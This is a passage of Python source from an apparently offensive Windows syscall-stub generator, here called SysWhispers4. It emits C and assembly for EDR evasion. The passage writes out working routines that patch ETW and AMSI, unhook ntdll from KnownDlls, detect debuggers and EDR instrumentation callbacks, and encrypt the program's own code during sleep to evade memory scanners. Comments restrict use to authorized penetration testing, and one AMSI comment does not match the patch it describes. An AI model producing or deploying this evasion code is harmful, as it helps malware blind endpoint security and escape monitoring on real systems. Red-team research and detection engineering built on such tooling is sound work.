tbl = self._ssn_x64 if self.cfg.arch != Architecture.x86 else self._ssn_x86
|
|
|
|
# Build per-function build->ssn tables
|
|
per_func = []
|
|
for proto in self._prototypes:
|
|
entry = tbl.get(proto.name, {})
|
|
numeric = {int(k): v for k, v in entry.items() if k.isdigit()}
|
|
per_func.append((proto.name, sorted(numeric.items())))
|
|
|
|
build_tables = []
|
|
for name, pairs in per_func:
|
|
if not pairs:
|
|
build_tables.append(f" /* {name}: not in table -- use dynamic fallback */")
|
|
build_tables.append( " { 0, { {0, 0} } },")
|
|
else:
|
|
entries = ", ".join(f"{{ {b}U, 0x{self._ssn_value(s):04X}U }}" for b, s in pairs)
|
|
build_tables.append(f" /* {name} */")
|
|
build_tables.append(f" {{ {len(pairs)}U, {{ {entries} }} }},")
|
|
|
|
tbl_body = "\n".join(build_tables)
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Static SSN resolution (from embedded build->SSN table)
|
|
* Source: j00ru/windows-syscalls (update with scripts/update_syscall_table.py)
|
|
* ========================================================================= */
|
|
static const {p}SSN_ENTRY {p}StaticTable[{p}FUNC_COUNT] = {{
|
|
{tbl_body}
|
|
}};
|
|
|
|
static BOOL {p}StaticResolve(VOID) {{
|
|
/* Detect current Windows build via PEB */
|
|
PPEB pPeb =
|
|
#if defined(_WIN64)
|
|
(PPEB)__readgsqword(0x60);
|
|
#else
|
|
(PPEB)__readfsdword(0x30);
|
|
#endif
|
|
/* OSBuildNumber: pPeb+0x120 (x64) / pPeb+0xA4 (x86) */
|
|
#if defined(_WIN64)
|
|
DWORD build = *(DWORD*)((PBYTE)pPeb + 0x120);
|
|
#else
|
|
DWORD build = *(DWORD*)((PBYTE)pPeb + 0xA4);
|
|
#endif
|
|
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
const {p}SSN_ENTRY* e = &{p}StaticTable[fi];
|
|
DWORD best = 0, bestBuild = 0;
|
|
for (DWORD ei = 0; ei < e->Count; ei++) {{
|
|
if (e->Entries[ei].Build <= build && e->Entries[ei].Build > bestBuild) {{
|
|
bestBuild = e->Entries[ei].Build;
|
|
best = e->Entries[ei].Ssn;
|
|
}}
|
|
}}
|
|
{p}SsnTable[fi] = best; /* already XOR'd if encrypt_ssn */
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
def _indirect_addr_fill_snippet(self, p: str) -> str:
|
|
if self.cfg.method not in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
return ""
|
|
return f"""\
|
|
/* Locate syscall;ret gadget in this stub */
|
|
if (!{p}SyscallAddrTable[fi]) {{
|
|
PBYTE pS = pFn;
|
|
for (DWORD sk = 0; sk < 32; sk++) {{
|
|
if (pS[sk] == 0x0Fu && pS[sk + 1u] == 0x05u) {{
|
|
{p}SyscallAddrTable[fi] = pS + sk;
|
|
break;
|
|
}}
|
|
}}
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Indirect / randomized gadget finder
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_gadget_finder(self, p: str, n: int) -> str:
|
|
if self.cfg.method == InvocationMethod.Randomized:
|
|
extra = f"""\
|
|
|
|
/* =========================================================================
|
|
* Gadget pool builder (for randomized indirect mode)
|
|
* Collects all unique syscall;ret gadget addresses from ntdll.
|
|
* ========================================================================= */
|
|
static VOID {p}BuildGadgetPool(PVOID pNtdll) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
|
|
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
|
|
|
|
for (WORD si = 0; si < pNt->FileHeader.NumberOfSections; si++, pSec++) {{
|
|
/* Only scan executable sections */
|
|
if (!(pSec->Characteristics & IMAGE_SCN_MEM_EXECUTE)) continue;
|
|
PBYTE pBase = (PBYTE)pNtdll + pSec->VirtualAddress;
|
|
DWORD size = pSec->Misc.VirtualSize;
|
|
|
|
for (DWORD i = 0; i + 2 < size && {p}GadgetPoolCount < {p}GADGET_POOL; i++) {{
|
|
if (pBase[i] == 0x0Fu && pBase[i + 1u] == 0x05u && pBase[i + 2u] == 0xC3u) {{
|
|
/* Verify not duplicate */
|
|
BOOL dup = FALSE;
|
|
PVOID g = pBase + i;
|
|
for (DWORD j = 0; j < {p}GadgetPoolCount; j++) {{
|
|
if ({p}GadgetPool[j] == g) {{ dup = TRUE; break; }}
|
|
}}
|
|
if (!dup) {p}GadgetPool[{p}GadgetPoolCount++] = g;
|
|
}}
|
|
}}
|
|
}}
|
|
}}"""
|
|
return extra
|
|
return ""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Egg hatcher
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_egg_hatcher(self, p: str) -> str:
|
|
egg = self.obf.generate_egg()
|
|
egg_bytes = list(egg.to_bytes(8, "little"))
|
|
egg_bytes_c = ", ".join(f"0x{b:02X}u" for b in egg_bytes)
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Egg hatcher (egg method)
|
|
* Scans the PE's .text section for the 8-byte egg pattern and replaces
|
|
* it with the syscall opcode (0F 05) + NOPs, making the stub callable.
|
|
* ========================================================================= */
|
|
#define {p}EGG_SIZE 8U
|
|
static const BYTE {p}EggPattern[{p}EGG_SIZE] = {{ {egg_bytes_c} }};
|
|
|
|
BOOL {p}HatchEggs(VOID) {{
|
|
PVOID pImageBase = {p}GetOwnImageBase();
|
|
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBase;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pImageBase + pDos->e_lfanew);
|
|
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
|
|
|
|
for (WORD si = 0; si < pNt->FileHeader.NumberOfSections; si++, pSec++) {{
|
|
if (!(pSec->Characteristics & IMAGE_SCN_MEM_EXECUTE)) continue;
|
|
|
|
PBYTE pBase = (PBYTE)pImageBase + pSec->VirtualAddress;
|
|
DWORD size = pSec->Misc.VirtualSize;
|
|
DWORD oldProt = 0;
|
|
|
|
/* Make section writable */
|
|
if (!VirtualProtect(pBase, size, PAGE_EXECUTE_READWRITE, &oldProt))
|
|
return FALSE;
|
|
|
|
/* Scan and replace eggs */
|
|
for (DWORD i = 0; i + {p}EGG_SIZE <= size; i++) {{
|
|
if (memcmp(pBase + i, {p}EggPattern, {p}EGG_SIZE) == 0) {{
|
|
pBase[i + 0] = 0x0Fu; /* syscall opcode */
|
|
pBase[i + 1] = 0x05u;
|
|
/* Fill remaining 6 bytes with NOPs */
|
|
for (DWORD j = 2; j < {p}EGG_SIZE; j++)
|
|
pBase[i + j] = 0x90u;
|
|
}}
|
|
}}
|
|
|
|
/* Restore protection */
|
|
VirtualProtect(pBase, size, oldProt, &oldProt);
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Optional ETW bypass
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_etw_bypass(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* ETW user-mode bypass
|
|
* Patches ntdll!EtwEventWrite to return STATUS_ACCESS_DENIED immediately,
|
|
* suppressing user-mode ETW event delivery from the current process.
|
|
*
|
|
* NOTE: This does NOT bypass kernel-mode ETW-Ti callbacks.
|
|
* Use only in authorized penetration testing engagements.
|
|
* ========================================================================= */
|
|
BOOL {p}PatchEtw(VOID) {{
|
|
PVOID pNtdll = {p}GetNtdllBase();
|
|
PVOID pTarget = {p}GetProcByHash(pNtdll, 0x{djb2_hash('EtwEventWrite'):08X}U);
|
|
if (!pTarget) return FALSE;
|
|
|
|
DWORD oldProt = 0;
|
|
if (!VirtualProtect(pTarget, 16, PAGE_EXECUTE_READWRITE, &oldProt))
|
|
return FALSE;
|
|
|
|
/* Patch: mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret */
|
|
PBYTE p_patch = (PBYTE)pTarget;
|
|
p_patch[0] = 0xB8u;
|
|
*(DWORD*)(p_patch + 1) = 0xC0000022u; /* STATUS_ACCESS_DENIED */
|
|
p_patch[5] = 0xC3u; /* ret */
|
|
|
|
VirtualProtect(pTarget, 16, oldProt, &oldProt);
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: AMSI bypass
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_amsi_bypass(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* AMSI bypass
|
|
* Patches amsi.dll!AmsiScanBuffer to always return AMSI_RESULT_CLEAN.
|
|
* If amsi.dll is not loaded, it returns TRUE (nothing to patch).
|
|
*
|
|
* Technique: Overwrite AmsiScanBuffer with:
|
|
* xor eax, eax (B8 00 00 00 80 -> mov eax, 0x80004005 replaced)
|
|
* ret
|
|
*
|
|
* NOTE: Use only in authorized penetration testing engagements.
|
|
* ========================================================================= */
|
|
BOOL {p}PatchAmsi(VOID) {{
|
|
/* Find amsi.dll -- it may not be loaded yet */
|
|
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
|
|
if (!hAmsi) {{
|
|
/* Try loading -- some processes load it lazily */
|
|
hAmsi = LoadLibraryA("amsi.dll");
|
|
if (!hAmsi) return TRUE; /* Not present, nothing to patch */
|
|
}}
|
|
|
|
/* Find AmsiScanBuffer using hash */
|
|
PVOID pTarget = {p}GetProcByHash((PVOID)hAmsi, 0x{djb2_hash('AmsiScanBuffer'):08X}U);
|
|
if (!pTarget) return FALSE;
|
|
|
|
DWORD oldProt = 0;
|
|
if (!VirtualProtect(pTarget, 16, PAGE_EXECUTE_READWRITE, &oldProt))
|
|
return FALSE;
|
|
|
|
/* Patch: mov eax, 0x80070057 (E_INVALIDARG); ret
|
|
* This makes AMSI think the scan arguments are invalid -> skip scan */
|
|
PBYTE patch = (PBYTE)pTarget;
|
|
patch[0] = 0xB8u; /* mov eax, imm32 */
|
|
*(DWORD*)(patch + 1) = 0x80070057u; /* E_INVALIDARG */
|
|
patch[5] = 0xC3u; /* ret */
|
|
|
|
VirtualProtect(pTarget, 16, oldProt, &oldProt);
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: ntdll Unhooking (remap clean .text from KnownDlls)
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_unhook_ntdll(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* ntdll Unhooking
|
|
* Maps a clean copy of ntdll from \\KnownDlls\\ntdll.dll and overwrites
|
|
* the .text section of the in-memory (hooked) ntdll with the clean bytes.
|
|
*
|
|
* This completely removes ALL inline hooks from ntdll, making all
|
|
* subsequent NT API calls go through the original code paths.
|
|
*
|
|
* Flow:
|
|
* 1. Open \\KnownDlls\\ntdll.dll section
|
|
* 2. Map clean copy read-only
|
|
* 3. Find .text section in both copies
|
|
* 4. VirtualProtect in-memory .text to RWX
|
|
* 5. memcpy clean .text over hooked .text
|
|
* 6. Restore original protection
|
|
* 7. Unmap clean copy
|
|
*
|
|
* NOTE: Call BEFORE {p}Initialize() for best results (clean SSN resolution).
|
|
* Use only in authorized penetration testing engagements.
|
|
* ========================================================================= */
|
|
BOOL {p}UnhookNtdll(VOID) {{
|
|
/* We need the real ntdll functions to map the clean copy.
|
|
* Even if hooked, they still work -- hooks just monitor/log. */
|
|
typedef NTSTATUS (NTAPI *pfnNtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
|
|
typedef NTSTATUS (NTAPI *pfnNtMapViewOfSection)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
|
|
typedef NTSTATUS (NTAPI *pfnNtUnmapViewOfSection)(HANDLE, PVOID);
|
|
typedef NTSTATUS (NTAPI *pfnNtClose)(HANDLE);
|
|
|
|
PVOID pNtdll = {p}GetNtdllBase();
|
|
if (!pNtdll) return FALSE;
|
|
|
|
pfnNtOpenSection pOpen = (pfnNtOpenSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtOpenSection'):08X}U);
|
|
pfnNtMapViewOfSection pMap = (pfnNtMapViewOfSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtMapViewOfSection'):08X}U);
|
|
pfnNtUnmapViewOfSection pUnmap = (pfnNtUnmapViewOfSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtUnmapViewOfSection'):08X}U);
|
|
pfnNtClose pClose = (pfnNtClose){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtClose'):08X}U);
|
|
|
|
if (!pOpen || !pMap || !pUnmap || !pClose) return FALSE;
|
|
|
|
/* Open clean ntdll from KnownDlls */
|
|
UNICODE_STRING usName;
|
|
usName.Length = 24 * sizeof(WCHAR);
|
|
usName.MaximumLength = usName.Length + sizeof(WCHAR);
|
|
usName.Buffer = L"\\\\KnownDlls\\\\ntdll.dll";
|
|
|
|
OBJECT_ATTRIBUTES oa;
|
|
memset(&oa, 0, sizeof(oa));
|
|
oa.Length = sizeof(OBJECT_ATTRIBUTES);
|
|
oa.ObjectName = &usName;
|
|
|
|
HANDLE hSection = NULL;
|
|
NTSTATUS status = pOpen(&hSection, SECTION_MAP_READ, &oa);
|
|
if (!NT_SUCCESS(status)) return FALSE;
|
|
|
|
PVOID pClean = NULL;
|
|
SIZE_T viewSize = 0;
|
|
status = pMap(hSection, (HANDLE)-1, &pClean, 0, 0, NULL, &viewSize, 1, 0, PAGE_READONLY);
|
|
if (!NT_SUCCESS(status)) {{
|
|
pClose(hSection);
|
|
return FALSE;
|
|
}}
|
|
|
|
/* Find .text section in both copies */
|
|
PIMAGE_SECTION_HEADER pSecHooked = {p}FindSection(pNtdll, ".text");
|
|
PIMAGE_SECTION_HEADER pSecClean = {p}FindSection(pClean, ".text");
|
|
|
|
if (!pSecHooked || !pSecClean) {{
|
|
pUnmap((HANDLE)-1, pClean);
|
|
pClose(hSection);
|
|
return FALSE;
|
|
}}
|
|
|
|
/* Overwrite hooked .text with clean .text */
|
|
PBYTE pDst = (PBYTE)pNtdll + pSecHooked->VirtualAddress;
|
|
PBYTE pSrc = (PBYTE)pClean + pSecClean->VirtualAddress;
|
|
DWORD dwSize = pSecClean->Misc.VirtualSize;
|
|
|
|
DWORD oldProt = 0;
|
|
if (!VirtualProtect(pDst, dwSize, PAGE_EXECUTE_READWRITE, &oldProt)) {{
|
|
pUnmap((HANDLE)-1, pClean);
|
|
pClose(hSection);
|
|
return FALSE;
|
|
}}
|
|
|
|
memcpy(pDst, pSrc, dwSize);
|
|
VirtualProtect(pDst, dwSize, oldProt, &oldProt);
|
|
|
|
/* Cleanup */
|
|
pUnmap((HANDLE)-1, pClean);
|
|
pClose(hSection);
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: Anti-debug checks
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_anti_debug(self, p: str) -> str:
|
|
canary = self.obf.generate_canary()
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Anti-debugging checks
|
|
* Performs multiple checks to detect debugger presence:
|
|
* 1. PEB.BeingDebugged flag
|
|
* 2. PEB.NtGlobalFlag (typical debugger flags)
|
|
* 3. RDTSC timing check (detect single-stepping)
|
|
* 4. NtQueryInformationProcess(ProcessDebugPort)
|
|
* 5. Heap flags check
|
|
* 6. Instrumentation callback detection
|
|
*
|
|
* Returns TRUE if environment appears clean, FALSE if debugger detected.
|
|
* ========================================================================= */
|
|
|
|
/* Canary value for integrity validation */
|
|
#define {p}CANARY 0x{canary:08X}U
|
|
|
|
BOOL {p}AntiDebugCheck(VOID) {{
|
|
PPEB pPeb;
|
|
#if defined(_WIN64)
|
|
pPeb = (PPEB)__readgsqword(0x60);
|
|
#else
|
|
pPeb = (PPEB)__readfsdword(0x30);
|
|
#endif
|
|
|
|
/* Check 1: PEB.BeingDebugged */
|
|
if (pPeb->BeingDebugged)
|
|
return FALSE;
|
|
|
|
/* Check 2: NtGlobalFlag -- debuggers often set 0x70 (FLG_HEAP_*) */
|
|
#if defined(_WIN64)
|
|
DWORD ntGlobalFlag = *(DWORD*)((PBYTE)pPeb + 0xBC);
|
|
#else
|
|
DWORD ntGlobalFlag = *(DWORD*)((PBYTE)pPeb + 0x68);
|
|
#endif
|
|
if (ntGlobalFlag & 0x70)
|
|
return FALSE;
|
|
|
|
/* Check 3: RDTSC timing -- single-stepping causes large deltas */
|
|
ULONGLONG tsc1, tsc2;
|
|
tsc1 = __rdtsc();
|
|
/* Dummy operations to create measurable interval */
|
|
volatile DWORD dummy = 0;
|
|
for (int i = 0; i < 100; i++) dummy += i;
|
|
tsc2 = __rdtsc();
|
|
/* Threshold: > 10000 cycles suggests debugging */
|
|
if ((tsc2 - tsc1) > 10000)
|
|
return FALSE;
|
|
|
|
/* Check 4: NtQueryInformationProcess(ProcessDebugPort) */
|
|
typedef NTSTATUS (NTAPI *pfnNtQueryInformationProcess)(
|
|
HANDLE, DWORD, PVOID, ULONG, PULONG);
|
|
PVOID pNtdll = {p}GetNtdllBase();
|
|
pfnNtQueryInformationProcess pQip = (pfnNtQueryInformationProcess)
|
|
{p}GetProcByHash(pNtdll, 0x{djb2_hash('NtQueryInformationProcess'):08X}U);
|
|
if (pQip) {{
|
|
DWORD_PTR debugPort = 0;
|
|
NTSTATUS status = pQip((HANDLE)-1, 7 /* ProcessDebugPort */,
|
|
&debugPort, sizeof(debugPort), NULL);
|
|
if (NT_SUCCESS(status) && debugPort != 0)
|
|
return FALSE;
|
|
}}
|
|
|
|
/* Check 5: Heap flags */
|
|
PVOID pHeap;
|
|
#if defined(_WIN64)
|
|
pHeap = *(PVOID*)((PBYTE)pPeb + 0x30);
|
|
DWORD heapFlags = *(DWORD*)((PBYTE)pHeap + 0x70);
|
|
#else
|
|
pHeap = *(PVOID*)((PBYTE)pPeb + 0x18);
|
|
DWORD heapFlags = *(DWORD*)((PBYTE)pHeap + 0x40);
|
|
#endif
|
|
if (heapFlags & ~0x02) /* Only HEAP_GROWABLE should be set */
|
|
return FALSE;
|
|
|
|
/* Check 6: Instrumentation callback -- EDRs may set this */
|
|
typedef NTSTATUS (NTAPI *pfnNtQip)(HANDLE, DWORD, PVOID, ULONG, PULONG);
|
|
pfnNtQip pQip2 = (pfnNtQip)pQip;
|
|
if (pQip2) {{
|
|
BYTE buffer[64];
|
|
memset(buffer, 0, sizeof(buffer));
|
|
NTSTATUS status = pQip2((HANDLE)-1, 40 /* ProcessInstrumentationCallback */,
|
|
buffer, sizeof(buffer), NULL);
|
|
/* If the callback pointer is non-NULL, something is monitoring */
|
|
if (NT_SUCCESS(status)) {{
|
|
PVOID pCallback = *(PVOID*)(buffer + sizeof(PVOID));
|
|
if (pCallback != NULL)
|
|
return FALSE;
|
|
}}
|
|
}}
|
|
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: Sleep encryption (Ekko-style)
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_sleep_encrypt(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Sleep with memory encryption (Ekko-style)
|
|
* Encrypts the PE's .text section during sleep to evade memory scanners.
|
|
*
|
|
* Flow:
|
|
* 1. Generate a random XOR key
|
|
* 2. Encrypt own .text section with XOR
|
|
* 3. Create a waitable timer with the specified delay
|
|
* 4. Queue APC to decrypt .text after timer fires
|
|
* 5. Sleep (NtWaitForSingleObject on timer)
|
|
* 6. APC fires -> decrypts .text -> execution continues
|
|
*
|
|
* This defeats:
|
|
* - Memory scanners during sleep (code is encrypted)
|
|
* - Periodic module scans
|
|
* - YARA/signature scans on in-memory PE
|
|
*
|
|
* NOTE: Simplified version -- production use should use ROP chain
|
|
* (NtContinue + timer APCs) for full Ekko/Foliage behavior.
|
|
* ========================================================================= */
|
|
|
|
/* State for sleep encryption */
|
|
static PBYTE {p}SleepTextBase = NULL;
|
|
static DWORD {p}SleepTextSize = 0;
|
|
static DWORD {p}SleepXorKey = 0;
|
|
|
|
/* XOR encrypt/decrypt .text section */
|
|
static VOID {p}XorTextSection(VOID) {{
|
|
if (!{p}SleepTextBase || !{p}SleepTextSize) return;
|
|
|
|
DWORD oldProt = 0;
|
|
VirtualProtect({p}SleepTextBase, {p}SleepTextSize, PAGE_EXECUTE_READWRITE, &oldProt);
|
|
|
|
DWORD key = {p}SleepXorKey;
|
|
PDWORD pData = (PDWORD){p}SleepTextBase;
|
|
DWORD count = {p}SleepTextSize / sizeof(DWORD);
|
|
|
|
for (DWORD i = 0; i < count; i++)
|
|
pData[i] ^= key;
|
|
|
|
VirtualProtect({p}SleepTextBase, {p}SleepTextSize, oldProt, &oldProt);
|
|
}}
|
|
|
|
/* APC callback to decrypt after sleep */
|
|
static VOID CALLBACK {p}SleepDecryptApc(ULONG_PTR param) {{
|
|
(void)param;
|
|
{p}XorTextSection(); /* XOR again = decrypt */
|
|
}}
|
|
|
|
VOID {p}SleepEncrypt(DWORD dwMilliseconds) {{
|
|
/* Find own .text section */
|
|
PVOID pImageBase = {p}GetOwnImageBase();
|
|
PIMAGE_SECTION_HEADER pSec = {p}FindSection(pImageBase, ".text");
|
|
if (!pSec) {{
|
|
/* Fallback: regular sleep */
|
|
Sleep(dwMilliseconds);
|
|
return;
|
|
}}
|
|
|
|
{p}SleepTextBase = (PBYTE)pImageBase + pSec->VirtualAddress;
|
|
{p}SleepTextSize = pSec->Misc.VirtualSize;
|
|
|
|
/* Generate random XOR key using RDTSC */
|
|
ULONGLONG tsc = __rdtsc();
|
|
{p}SleepXorKey = (DWORD)(tsc ^ (tsc >> 32));
|
|
if ({p}SleepXorKey == 0) {p}SleepXorKey = 0xDEADBEEF;
|
|
|
|
/* Create waitable timer */
|
|
HANDLE hTimer = CreateWaitableTimerW(NULL, TRUE, NULL);
|
|
if (!hTimer) {{
|
|
Sleep(dwMilliseconds);
|
|
return;
|
|
}}
|
|
|
|
/* Set timer: negative value = relative time in 100ns units */
|
|
LARGE_INTEGER dueTime;
|
|
dueTime.QuadPart = -(LONGLONG)dwMilliseconds * 10000LL;
|
|
|
|
if (!SetWaitableTimer(hTimer, &dueTime, 0, {p}SleepDecryptApc, NULL, FALSE)) {{
|
|
CloseHandle(hTimer);
|
|
Sleep(dwMilliseconds);
|
|
return;
|
|
}}
|
|
|
|
/* Encrypt .text section */
|
|
{p}XorTextSection();
|
|
|
|
/* Sleep in alertable state (allows APC to fire) */
|
|
SleepEx(dwMilliseconds, TRUE);
|
|
|
|
/* In case APC didn't fire, decrypt manually */
|
|
/* (Check a canary byte to see if still encrypted) */
|
|
PBYTE pCheck = (PBYTE)&{p}SleepEncrypt;
|
|
if (*pCheck != 0x48 && *pCheck != 0x40 && *pCheck != 0x55) {{
|
|
/* Likely still encrypted */
|
|
{p}XorTextSection();
|
|
}}
|
|
|
|
CloseHandle(hTimer);
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Initialize function
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_initialize(self, p: str) -> str:
|
|
resolve_map = {
|
|
ResolutionMethod.Static: f"return {p}StaticResolve();",
|
|
ResolutionMethod.FreshyCalls: f"return {p}FreshyCalls(pNtdll);",
|
|
ResolutionMethod.HellsGate: f"return {p}HellsGate(pNtdll);",
|
|
ResolutionMethod.HalosGate: f"return {p}HalosGate(pNtdll);",
|
|
ResolutionMethod.TartarusGate: f"return {p}TartarusGate(pNtdll);",
|
|
ResolutionMethod.SyscallsFromDisk:f"return {p}SyscallsFromDisk(pNtdll);",
|
|
ResolutionMethod.RecycledGate: f"return {p}RecycledGate(pNtdll);",
|
|
ResolutionMethod.HWBreakpoint: f"return {p}HWBreakpoint(pNtdll);",
|
|
}
|
|
resolve_call = resolve_map[self.cfg.resolve]
|
|
|
|
gadget_pool = ""
|
|
if self.cfg.method == InvocationMethod.Randomized:
|
|
gadget_pool = f"\n {p}BuildGadgetPool(pNtdll);"
|
|
|
|
ntdll_needed = self.cfg.resolve != ResolutionMethod.Static
|
|
ntdll_decl = f" PVOID pNtdll = {p}GetNtdllBase();\n if (!pNtdll) return FALSE;\n" if ntdll_needed else ""
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* {p}Initialize -- call once at process/shellcode startup
|
|
* ========================================================================= */
|
|
BOOL {p}Initialize(VOID) {{
|
|
{ntdll_decl}{gadget_pool}
|
|
{resolve_call}
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# 4a. ASM Generation -- MSVC / MASM
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _gen_asm_msvc(self) -> str:
|
|
if self.cfg.arch == Architecture.x64:
|
|
return self._gen_asm_msvc_x64()
|
|
elif self.cfg.arch == Architecture.x86:
|
|
return self._gen_asm_msvc_x86()
|
|
elif self.cfg.arch == Architecture.ARM64:
|
|
return self._gen_asm_arm64_msvc()
|
|
else:
|
|
return self._gen_asm_msvc_x64() # WoW64 -> x64 stubs
|
|
|
|
def _gen_asm_msvc_x64(self) -> str:
|
|
p = self.cfg.prefix
|
|
method = self.cfg.method
|
|
egg_val = self.obf.generate_egg() if method == InvocationMethod.Egg else 0
|
|
|
|
header = f"""\
|
|
; {self.cfg.out_file}.asm -- generated by SysWhispers4
|
|
; Method : {method}
|
|
; Resolution : {self.cfg.resolve}
|
|
; Arch : x64 / MASM (ml64.exe)
|
|
;
|
|
; Build: cl /nologo ... {self.cfg.out_file}.c {self.cfg.out_file}.asm
|
|
; (ensure MASM64 is enabled in project settings)
|
|
|
|
OPTION DOTNAME
|
|
|
|
.data
|
|
EXTERN {p}SsnTable:DWORD
|
|
"""
|
|
if method == InvocationMethod.Indirect:
|
|
header += f" EXTERN {p}SyscallAddrTable:QWORD\n"
|
|
elif method == InvocationMethod.Randomized:
|
|
header += (
|
|
f" EXTERN {p}GadgetPool:QWORD\n"
|
|
f" EXTERN {p}GadgetPoolCount:DWORD\n"
|
|
)
|
|
|
|
header += "\n.code\n\n"
|
|
|
|
stubs = []
|
|
for idx, proto in enumerate(self._prototypes):
|
|
fname = f"{p}{proto.name}"
|
|
junk = f" {self.obf.junk_nops()}\n" if self.cfg.obfuscate else ""
|
|
|
|
if method == InvocationMethod.Embedded:
|
|
stub = self._asm_x64_embedded(fname, idx, p, junk)
|
|
elif method == InvocationMethod.Indirect:
|
|
stub = self._asm_x64_indirect(fname, idx, p, junk)
|
|
elif method == InvocationMethod.Randomized:
|
|
stub = self._asm_x64_randomized(fname, idx, p, junk)
|
|
elif method == InvocationMethod.Egg:
|
|
stub = self._asm_x64_egg(fname, idx, p, egg_val, junk)
|
|
else:
|
|
stub = self._asm_x64_embedded(fname, idx, p, junk)
|
|
|
|
stubs.append(stub)
|
|
|
|
if self.cfg.stack_spoof:
|
|
header += self._asm_stack_spoof_helper(p)
|
|
|
|
return header + "\n".join(stubs) + "\nEND\n"
|
|
|
|
def _asm_x64_embedded(self, fname: str, idx: int, p: str, junk: str) -> str:
|
|
decrypt = f"{p}DECRYPT" if self.cfg.encrypt_ssn else ""
|
|
if self.cfg.encrypt_ssn:
|
|
load_ssn = (
|
|
f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; load encrypted SSN\n"
|
|
f" xor eax, {p}XOR_KEY ; decrypt"
|
|
)
|
|
else:
|
|
load_ssn = f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; load SSN"
|
|
|
|
return f"""\
|
|
; --- {fname} (direct/embedded syscall) ---
|
|
{fname} PROC
|
|
mov r10, rcx ; syscall ABI: arg1 -> r10
|
|
{junk}{load_ssn}
|
|
syscall
|
|
ret
|
|
{fname} ENDP
|
|
|
|
"""
|
|
|
|
def _asm_x64_indirect(self, fname: str, idx: int, p: str, junk: str) -> str:
|
|
if self.cfg.encrypt_ssn:
|
|
load_ssn = (
|
|
f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; load encrypted SSN\n"
|
|
f" xor eax, {p}XOR_KEY ; decrypt"
|
|
)
|
|
else:
|
|
load_ssn = f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; load SSN"
|
|
|
|
return f"""\
|
|
; --- {fname} (indirect: jmp to syscall;ret in ntdll) ---
|
|
{fname} PROC
|
|
mov r10, rcx ; syscall ABI: arg1 -> r10
|
|
{junk}{load_ssn}
|
|
jmp QWORD PTR [{p}SyscallAddrTable + {idx * 8}] ; -> ntdll gadget
|
|
{fname} ENDP
|
|
|
|
"""
|
|
|
|
def _asm_x64_randomized(self, fname: str, idx: int, p: str, junk: str) -> str:
|
|
if self.cfg.encrypt_ssn:
|
|
load_ssn = (
|
|
f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; encrypted SSN\n"
|
|
f" xor eax, {p}XOR_KEY ; decrypt"
|
|
)
|
|
else:
|
|
load_ssn = f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; eax = SSN"
|
|
|
|
return f"""\
|
|
; --- {fname} (randomized indirect: random ntdll syscall;ret gadget) ---
|
|
; rdtsc is used for entropy; r11 is caller-saved (volatile) and safe to use.
|
|
{fname} PROC
|
|
mov r10, rcx ; arg1 -> r10 (syscall ABI)
|
|
mov r11, rdx ; save arg2 (rdx trashed by rdtsc)
|
|
{junk} rdtsc ; eax = TSC_low, edx = TSC_high
|
|
xor eax, edx ; mix
|
|
and eax, {(64 - 1):d} ; = GADGET_MASK (pool must be power of 2)
|
|
lea rcx, [{p}GadgetPool] ; rcx = &gadget_pool[0]
|
|
